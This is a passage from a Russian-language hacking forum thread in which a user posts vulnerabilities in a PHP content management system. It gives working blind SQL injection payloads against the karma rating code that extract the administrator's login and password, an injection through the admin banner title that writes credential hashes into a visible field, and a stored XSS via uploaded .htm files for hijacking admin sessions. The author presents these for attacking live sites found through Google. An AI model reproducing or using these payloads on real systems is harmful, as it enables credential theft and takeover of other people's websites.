    Content-Length: 39
    
    cd=&opt=plus&target=conten
    Это логический 0.
    По причине фильтра POST данных переопределяем item_id через куки.
    Как и для прошлой уязвимости. Для удобства написал эксплойт. Но пока я похраню его у себя, чуть позже выложу. В паблик пока не солью, пробиваемость сайтов с гугла высокая. Пишите сами или юзайте там где можно Duplicate column метод.
    Большое послесловие. Как я и говорил sql инж очень много. Завязывается все вокруг $target и $item_id. Фкнкции из файла lib_karma.php используются много где не только в karma.php.
    lib.karma.php
    PHP:
    function cmsSubmitKarma($target$item_id$points){
        
    $inUser cmsUser::getInstance();
        
    $inDB   cmsDatabase::getInstance();
        
    $id     $inUser->id;
        
    $ip     $_SERVER['REMOTE_ADDR'];
        if(!
    cmsAlreadyKarmed($target$item_id$id)){
            
    $sql "INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES ($item_id$points, '$ip', '$target', $id, NOW())";
            
    $inDB->query($sql);
        }
        return 
    true;
    }
    вышеупомянутая SubmitKarma
    Code:
    INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES ([COLOR=Red]$item_id[/COLOR], $points, '$ip', '[COLOR=Red]$target[/COLOR]', $id, NOW())
    Можно было бы составить evil запрос и вывести значение прямо в points, после чего его можно было наблюдать на странице новости без всяких blind, но структура таблицы нам не позволяет этого сделать поле points имеет type int(11). Поэтому:
    Code:
    INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES ([COLOR=Red]1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))<1,1,(select 1 union select 2))[/COLOR], $points, '$ip', '$target', $id, NOW())
    логический 0
    Code:
    INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES ([COLOR=Red]1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))>1,1,(select 1 union select 2))[/COLOR], $points, '$ip', '$target', $id, NOW())
    Логическая единица.
     
    #18 The matrix, 8 May 2010
    Last edited: 8 May 2010
    4 people like this.
  19. The matrix

    The matrix Elder - Старейшина

    Joined:
    9 Jul 2008
    Messages:
    93
    Likes Received:
    186
    Reputations:
    138
    sql inj
    "Админский зл0й баннер"
    Уязвимы все версии.
    Не такая полезная бага, чем те, которые я постил выше, она пригодится если уязвимости выше залатаны, и удалось попасть в админкую.
    NEEED's =)
    Права админа
    MQ=off
    Заходим. Админка=>Компоненты=>баннеры.
    Запрос добавления злых админских баннеров следующий:
    Code:
    INSERT INTO cms_banners (position, typeimg, fileurl, hits, clicks, maxhits, maxuser, user_id, pubdate, title, link, published)
    							VALUES ('$position', '$typeimg', '$filename', 0, 0, '$maxhits', $maxuser, 1, NOW(), '[COLOR=Red]$title[/COLOR]', '$link', $published)";
    
    красненькая переменная, попадает в запрос без обработок.
    смотрим тайп.
    Field:link
    Type:varchar(250)

    этот столбец нам подходит. В него и будем писать злой запрос.
    Заполняем форму, выбираем картинку только
    Забиваем в название баннера следующую шляпу:
    Code:
    1111', (select concat(login,0x3a,password) from cms_users where group_id=2),'1') #
    запрос примет вид
    Code:
    INSERT INTO cms_banners (position, typeimg, fileurl, hits, clicks, maxhits, maxuser, user_id, pubdate, title, link, published)
    							VALUES ('$position', '$typeimg', '$filename', 0, 0, '$maxhits', $maxuser, 1, NOW(), '[COLOR=Red]1111', (select concat(login,0x3a,password) from cms_users where group_id=2),'1') #[/COLOR][COLOR=White]', '$link', $published)[/COLOR]";
    
    все. Теперь заходим в список наших баннеров. Открываем наш зл0й баннер. и в поле
    'ссылка баннера' наблюдаем подобную картину:
    Code:
    admin:5f4dcc3b5aa765d61d8327deb882cf99
    на этом все.
     
    #19 The matrix, 10 May 2010
    Last edited: 10 May 2010
  20. The matrix

    The matrix Elder - Старейшина

    Joined:
    9 Jul 2008
    Messages:
    93
    Likes Received:
    186
    Reputations:
    138
    a
    XSS
    для разнообразия XSS .
    у этой цмс к хсс прям какой-то иммунитет.
    Но все же лазейка нашлась.
    по сути.
    Свежайшая xss. Заключается в "щедящей" обработке файлов залитых юзером.
    Идем в Профиль=>Content=>Файлы. Видим, что можно лить всяко-разные файлы. Единственное интересное расширение, которое поддерживает эта заливалка-это .htm. Ну вот собственно мы и зальем htm файл с evil JS кодом. Который потом вежливо выполняется.
    что есть:
    [+] Сессия генерируется из login'a и password'a.
    [+]Сессия очень живучая(пока вражеский админ не сделает logout).
    [+]Файл на сервере выглядить безобидно. А значит Впарить ссылку на него не трудно.
    [+] сессия постоянная см п1 . Значит использовать можно неоднократно.
    [+] на момент написания уязвимы все версии движка.
    [-] Как не крути а xss пассивная.
     
    #20 The matrix, 10 May 2010
    Last edited: 10 May 2010
Loading...